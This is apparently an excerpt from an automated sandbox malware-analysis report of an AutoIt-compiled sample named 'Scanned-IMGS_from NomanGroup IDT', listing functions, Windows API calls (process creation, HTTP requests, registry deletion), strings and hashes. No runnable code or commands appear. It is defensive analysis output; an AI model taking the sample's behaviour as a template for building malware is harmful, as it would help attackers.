Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID:
String ID: "$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$'$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 0-1645009161
Opcode ID: 9681ceac4ae5247be7f6c1fe555ffd8398199b8f6834a25497826a35f58740cb
Instruction ID: 26bf3c1b0321fd438d7ebdd578642650311ee6a17910a7b95413f2441685a51c
Opcode Fuzzy Hash: 9681ceac4ae5247be7f6c1fe555ffd8398199b8f6834a25497826a35f58740cb
Instruction Fuzzy Hash: 0881E971A40205ABDB11AF61EC42FAF3B64AF14305F14443BFD059A293EB7C9A05C79D

Function 004B5A1B Relevance: 27.2, APIs: 18, Instructions: 198windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000063), ref: 004B5A2E
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 004B5A40
SetWindowTextW.USER32(?,?), ref: 004B5A57
GetDlgItem.USER32(?,000003EA), ref: 004B5A6C
SetWindowTextW.USER32(00000000,?), ref: 004B5A72
GetDlgItem.USER32(?,000003E9), ref: 004B5A82
SetWindowTextW.USER32(00000000,?), ref: 004B5A88
SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 004B5AA9
SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 004B5AC3
GetWindowRect.USER32(?,?), ref: 004B5ACC
_wcslen.LIBCMT ref: 004B5B33
SetWindowTextW.USER32(?,?), ref: 004B5B6F
GetDesktopWindow.USER32 ref: 004B5B75
GetWindowRect.USER32(00000000), ref: 004B5B7C
MoveWindow.USER32(?,?,00000080,00000000,?,00000000), ref: 004B5BD3
GetClientRect.USER32(?,?), ref: 004B5BE0
PostMessageW.USER32(?,00000005,00000000,?), ref: 004B5C05
SetTimer.USER32(?,0000040A,00000000,00000000), ref: 004B5C2F

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer_wcslen
String ID:
API String ID: 895679908-0
Opcode ID: 1b59e837d7ba7bfb3f018ba706dff3f10323bf325301516c848e2c09374410f1
Instruction ID: 9873ec22693978a8a4f265311d0f385d8b286869a9d13e29d8a47cfb8cc9b8db
Opcode Fuzzy Hash: 1b59e837d7ba7bfb3f018ba706dff3f10323bf325301516c848e2c09374410f1
Instruction Fuzzy Hash: C2718F31900B05AFDB20DFA9CD85BAFBBF5FF48704F104529E542A66A0D778B941CB28

Function 004B30F7 Relevance: 26.6, APIs: 8, Strings: 7, Instructions: 400COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 004B318D
_wcslen.LIBCMT ref: 004B31F8

Strings

NAME, xrefs: 004B3335, 004B3346
REGEXPCLASS, xrefs: 004B3255, 004B3266
CLASSNN, xrefs: 004B31F3, 004B3204
TEXT, xrefs: 004B347C
INSTANCE, xrefs: 004B3453
[Q, xrefs: 004B339A
CLASS, xrefs: 004B3188, 004B31A5

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: _wcslen
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT$[Q
API String ID: 176396367-4233246236
Opcode ID: 47c13942dc3a4437df0c0df1d4c96ff8e15833514a1c66c91ef883af7f71f9b2
Instruction ID: cd64951724aedd834e61dc733a8b9d837fe17a16ac1f1a0d6422c6ef76a28ef9
Opcode Fuzzy Hash: 47c13942dc3a4437df0c0df1d4c96ff8e15833514a1c66c91ef883af7f71f9b2
Instruction Fuzzy Hash: 39E12831A00516EBCB18DF7AC4416EFBBB0BF54715F54811BE856A7240EB38AE8987B4

Function 004700C6 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 81COMMON

Download Yara Rule

APIs

__scrt_initialize_thread_safe_statics_platform_specific.LIBCMT ref: 004700C6

Part of subcall function 004700ED: InitializeCriticalSectionAndSpinCount.KERNEL32(0052070C,00000FA0,2ACE7588,?,?,?,?,004923B3,000000FF), ref: 0047011C
Part of subcall function 004700ED: GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,?,?,004923B3,000000FF), ref: 00470127
Part of subcall function 004700ED: GetModuleHandleW.KERNEL32(kernel32.dll,?,?,?,?,004923B3,000000FF), ref: 00470138
Part of subcall function 004700ED: GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 0047014E
Part of subcall function 004700ED: GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 0047015C
Part of subcall function 004700ED: GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 0047016A
Part of subcall function 004700ED: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 00470195
Part of subcall function 004700ED: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 004701A0

___scrt_fastfail.LIBCMT ref: 004700E7

Part of subcall function 004700A3: __onexit.LIBCMT ref: 004700A9

Strings

WakeAllConditionVariable, xrefs: 00470162
kernel32.dll, xrefs: 00470133
SleepConditionVariableCS, xrefs: 00470154
InitializeConditionVariable, xrefs: 00470148
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00470122

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: AddressProc$HandleModule__crt_fast_encode_pointer$CountCriticalInitializeSectionSpin___scrt_fastfail__onexit__scrt_initialize_thread_safe_statics_platform_specific
String ID: InitializeConditionVariable$SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 66158676-1714406822
Opcode ID: 9dd4cc5057c5f788cd0612e7f8bd32e31cd798d366accfa26e064837c4a889f2
Instruction ID: a8b1af58709a9faf20185ae29eb57b6a03c78b4776a01c5728eeb7b0c30e7c09
Opcode Fuzzy Hash: 9dd4cc5057c5f788cd0612e7f8bd32e31cd798d366accfa26e064837c4a889f2
Instruction Fuzzy Hash: 9E217C32642740EFD7206B75BC85FAA7B94EF05B61F14813BF805962D2DB6D98048A9C

Function 004C44C0 Relevance: 24.8, APIs: 7, Strings: 7, Instructions: 309COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(00000000,00000000,004ECC08), ref: 004C4527
_wcslen.LIBCMT ref: 004C453B
_wcslen.LIBCMT ref: 004C4599
_wcslen.LIBCMT ref: 004C45F4
_wcslen.LIBCMT ref: 004C463F
_wcslen.LIBCMT ref: 004C46A7

Part of subcall function 0046F9F2: _wcslen.LIBCMT ref: 0046F9FD

GetDriveTypeW.KERNEL32(?,00516BF0,00000061), ref: 004C4743

Strings

fixed, xrefs: 004C4635, 004C463A
ramdisk, xrefs: 004C46F1
network, xrefs: 004C469D, 004C46A2
all, xrefs: 004C4531, 004C4536
unknown, xrefs: 004C4708
cdrom, xrefs: 004C458F, 004C4594
removable, xrefs: 004C45EA, 004C45EF

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: _wcslen$BuffCharDriveLowerType
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2055661098-1000479233
Opcode ID: baad44252caa35779691ac0c887a9659b90c0b0338d96afca5acebe6c4af5e87
Instruction ID: 9c43a50ddb83566bd6a2cd24a8101f51520fe8267ae6d00a538073d20ac38177
Opcode Fuzzy Hash: baad44252caa35779691ac0c887a9659b90c0b0338d96afca5acebe6c4af5e87
Instruction Fuzzy Hash: 7CB122796083029FC350DF29C9A0E6BB7E0AFE5724F50491EF59683292D738D845CA6A

Function 004E911E Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 181windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00469BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00469BB2

DragQueryPoint.SHELL32(?,?), ref: 004E9147

Part of subcall function 004E7674: ClientToScreen.USER32(?,?), ref: 004E769A
Part of subcall function 004E7674: GetWindowRect.USER32(?,?), ref: 004E7710
Part of subcall function 004E7674: PtInRect.USER32(?,?,004E8B89), ref: 004E7720

SendMessageW.USER32(?,000000B0,?,?), ref: 004E91B0
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 004E91BB
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 004E91DE
SendMessageW.USER32(?,000000C2,00000001,?), ref: 004E9225
SendMessageW.USER32(?,000000B0,?,?), ref: 004E923E
SendMessageW.USER32(?,000000B1,?,?), ref: 004E9255
SendMessageW.USER32(?,000000B1,?,?), ref: 004E9277
DragFinish.SHELL32(?), ref: 004E927E
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 004E9371

Strings

@GUI_DRAGFILE, xrefs: 004E9320
@GUI_DRAGID, xrefs: 004E92E9
@GUI_DROPID, xrefs: 004E929E
p#R, xrefs: 004E92BB

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID$p#R
API String ID: 221274066-4113308805
Opcode ID: 262cbdb6a3a94dab646caf1fd2db5231403d4f89078d87fc8b364ac7f6b667a3
Instruction ID: d9d7a375c02579cbbd181caa31421b794e83d027bd28beda7f3b07b00b11c1ab
Opcode Fuzzy Hash: 262cbdb6a3a94dab646caf1fd2db5231403d4f89078d87fc8b364ac7f6b667a3
Instruction Fuzzy Hash: 06618A71108340AFC701DF65DC85DAFBBE8FF89754F00092EF991961A2DB349A4ACB5A

Function 004DAFF9 Relevance: 24.4, APIs: 16, Instructions: 418processCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 004DB198
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 004DB1B0
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 004DB1D4
_wcslen.LIBCMT ref: 004DB200
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 004DB214
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 004DB236
_wcslen.LIBCMT ref: 004DB332

Part of subcall function 004C05A7: GetStdHandle.KERNEL32(000000F6), ref: 004C05C6

_wcslen.LIBCMT ref: 004DB34B
_wcslen.LIBCMT ref: 004DB366
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 004DB3B6
GetLastError.KERNEL32(00000000), ref: 004DB407
CloseHandle.KERNEL32(?), ref: 004DB439
CloseHandle.KERNEL32(00000000), ref: 004DB44A
CloseHandle.KERNEL32(00000000), ref: 004DB45C
CloseHandle.KERNEL32(00000000), ref: 004DB46E
CloseHandle.KERNEL32(?), ref: 004DB4E3

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Handle$Close_wcslen$Directory$CurrentSystem$CreateErrorLastProcess
String ID:
API String ID: 2178637699-0
Opcode ID: d0fb26297eb0674a7e3c3ab30c34f025a0986e5b31a19e328328aeb78f88c0f5
Instruction ID: 1223fe317e36cd8a32e96894f930c76ef53b35b83cc548d323f274e47701be3a
Opcode Fuzzy Hash: d0fb26297eb0674a7e3c3ab30c34f025a0986e5b31a19e328328aeb78f88c0f5
Instruction Fuzzy Hash: 69F17931504240DFC715EF25C891A6ABBE0EF85318F15855FE8958B3A2DB39EC05CB9A

Function 0045326F Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 214windowCOMMON

Download Yara Rule

APIs

GetMenuItemCount.USER32(00521990), ref: 00492F8D
GetMenuItemCount.USER32(00521990), ref: 0049303D
GetCursorPos.USER32(?), ref: 00493081
SetForegroundWindow.USER32(00000000), ref: 0049308A
TrackPopupMenuEx.USER32(00521990,00000000,?,00000000,00000000,00000000), ref: 0049309D
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 004930A9

Strings

0, xrefs: 0045327D

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Menu$CountItem$CursorForegroundMessagePopupPostTrackWindow
String ID: 0
API String ID: 36266755-4108050209
Opcode ID: 99e140d3514d041325bc3f1e4441a4631fe8cc851f8af898f0ca61ee63e10949
Instruction ID: 8ae6b87dbab4c4fccdb9dd36487203092b9101799ed8fcf0459ed093c380032b
Opcode Fuzzy Hash: 99e140d3514d041325bc3f1e4441a4631fe8cc851f8af898f0ca61ee63e10949
Instruction Fuzzy Hash: D7712930640215BEEF218F25CD89FABBF64FF01365F20422BF9146A2D1C7B5A914D799

Function 004E6CD9 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 194windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?), ref: 004E6DEB

Part of subcall function 00456B57: _wcslen.LIBCMT ref: 00456B6A

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 004E6E5F
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 004E6E81
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 004E6E94
DestroyWindow.USER32(?), ref: 004E6EB5
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00450000,00000000), ref: 004E6EE4
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 004E6EFD
GetDesktopWindow.USER32 ref: 004E6F16
GetWindowRect.USER32(00000000), ref: 004E6F1D
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 004E6F35
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 004E6F4D

Part of subcall function 00469944: GetWindowLongW.USER32(?,000000EB), ref: 00469952

Strings

tooltips_class32, xrefs: 004E6E58, 004E6EDD
0, xrefs: 004E6D98

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_wcslen
String ID: 0$tooltips_class32
API String ID: 2429346358-3619404913
Opcode ID: a72ddfe4334148df7b9b408d4be8afd1933461909705ccb4df1ede17c42fb293
Instruction ID: 9542bd6ff9434e3f0730eb58eecd5f597b5d554d2b02ebdbbab2f13b95953a97
Opcode Fuzzy Hash: a72ddfe4334148df7b9b408d4be8afd1933461909705ccb4df1ede17c42fb293
Instruction Fuzzy Hash: D4717C70504384AFDB21CF29D884B6BBBE9FBA9345F04041EF98987261C774AD4ADB19

Function 004CC476 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 143networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 004CC4B0
GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 004CC4C3
SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 004CC4D7
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 004CC4F0
InternetQueryOptionW.WININET(00000000,0000001F,?,?), ref: 004CC533
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 004CC549
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004CC554
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 004CC584
GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 004CC5DC
SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 004CC5F0
InternetCloseHandle.WININET(00000000), ref: 004CC5FB

Strings

, xrefs: 004CC575

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Internet$Http$ErrorEventLastOptionQueryRequest$CloseConnectHandleInfoOpenSend
String ID:
API String ID: 3800310941-3916222277
Opcode ID: b8e976e736932ad3d5b552c4e2d2659f5988e51346ebbe35378898d65c5d08fb
Instruction ID: b747721a038d738c8d52e4d607ed2aec7d4b9bab42b007af53246d613bf421ea
Opcode Fuzzy Hash: b8e976e736932ad3d5b552c4e2d2659f5988e51346ebbe35378898d65c5d08fb
Instruction Fuzzy Hash: D1518DB8500205BFDB618F61C9C8FAB7BBCFF08344F00842EF94996251DB38E9459B68

Function 004E856F Relevance: 22.6, APIs: 15, Instructions: 131filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,00000000,?), ref: 004E8592
GetFileSize.KERNEL32(00000000,00000000), ref: 004E85A2
GlobalAlloc.KERNEL32(00000002,00000000), ref: 004E85AD
CloseHandle.KERNEL32(00000000), ref: 004E85BA
GlobalLock.KERNEL32(00000000), ref: 004E85C8
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 004E85D7
GlobalUnlock.KERNEL32(00000000), ref: 004E85E0
CloseHandle.KERNEL32(00000000), ref: 004E85E7
CreateStreamOnHGlobal.OLE32(00000000,00000001,?), ref: 004E85F8
OleLoadPicture.OLEAUT32(?,00000000,00000000,004EFC38,?), ref: 004E8611
GlobalFree.KERNEL32(00000000), ref: 004E8621
GetObjectW.GDI32(?,00000018,000000FF), ref: 004E8641
CopyImage.USER32(?,00000000,00000000,?,00002000), ref: 004E8671
DeleteObject.GDI32(00000000), ref: 004E8699
SendMessageW.USER32(?,00000172,00000000,00000000), ref: 004E86AF

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: a76d2a2d52f1c7b9a7eb7d5ba22a82c0175db1ed6d3134cc6840da788675c8b8
Instruction ID: 620a6ff6c0106cd539a7c751f9c0e5118a4304464e7710eabee683fd7ee1f039
Opcode Fuzzy Hash: a76d2a2d52f1c7b9a7eb7d5ba22a82c0175db1ed6d3134cc6840da788675c8b8
Instruction Fuzzy Hash: 9C412B75600248BFDB11DFA5CC88EAB7BB8FF89711F104069F919EB261DB349902CB24

Function 004C14BD Relevance: 21.4, APIs: 10, Strings: 2, Instructions: 360timeCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000000), ref: 004C1502
VariantCopy.OLEAUT32(?,?), ref: 004C150B
VariantClear.OLEAUT32(?), ref: 004C1517
VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 004C15FB
VarR8FromDec.OLEAUT32(?,?), ref: 004C1657
VariantInit.OLEAUT32(?), ref: 004C1708
SysFreeString.OLEAUT32(?), ref: 004C178C
VariantClear.OLEAUT32(?), ref: 004C17D8
VariantClear.OLEAUT32(?), ref: 004C17E7
VariantInit.OLEAUT32(00000000), ref: 004C1823

Strings

%4d%02d%02d%02d%02d%02d, xrefs: 004C1625
Default, xrefs: 004C16AF

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem
String ID: %4d%02d%02d%02d%02d%02d$Default
API String ID: 1234038744-3931177956
Opcode ID: f8f7177d592fe8d7c9eeec37d1425d5ddda347ba81b0a114fd76a0de1031e8a9
Instruction ID: ff75408efad277d273aab2ddf09b0b0fb1caf01794854f792ffaf29bc0e05cb9
Opcode Fuzzy Hash: f8f7177d592fe8d7c9eeec37d1425d5ddda347ba81b0a114fd76a0de1031e8a9
Instruction Fuzzy Hash: 8ED12475600110EBCB409F65D885F79B7B1BF46700F90805FF806AB2A2DB38EC46DB5A

Function 004DB60E Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 285registrylibraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00459CB3: _wcslen.LIBCMT ref: 00459CBD

Part of subcall function 004DC998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,004DB6AE,?,?), ref: 004DC9B5
Part of subcall function 004DC998: _wcslen.LIBCMT ref: 004DC9F1
Part of subcall function 004DC998: _wcslen.LIBCMT ref: 004DCA68
Part of subcall function 004DC998: _wcslen.LIBCMT ref: 004DCA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 004DB6F4
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 004DB772
RegDeleteValueW.ADVAPI32(?,?), ref: 004DB80A
RegCloseKey.ADVAPI32(?), ref: 004DB87E
RegCloseKey.ADVAPI32(?), ref: 004DB89C
LoadLibraryA.KERNEL32(advapi32.dll), ref: 004DB8F2
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 004DB904
RegDeleteKeyW.ADVAPI32(?,?), ref: 004DB922
FreeLibrary.KERNEL32(00000000), ref: 004DB983
RegCloseKey.ADVAPI32(00000000), ref: 004DB994

Strings

RegDeleteKeyExW, xrefs: 004DB8FE
advapi32.dll, xrefs: 004DB8ED

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: _wcslen$Close$DeleteLibrary$AddressBuffCharConnectFreeLoadOpenProcRegistryUpperValue
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 146587525-4033151799
Opcode ID: 18ff1f9cd202343d6426907941e076986433c716c22bf0960b43ee56688ddeac
Instruction ID: e1e3191414202a2475e080c6d73527ed6df1b542afcf31b6ecc65070481f51ab
Opcode Fuzzy Hash: 18ff1f9cd202343d6426907941e076986433c716c22bf0960b43ee56688ddeac
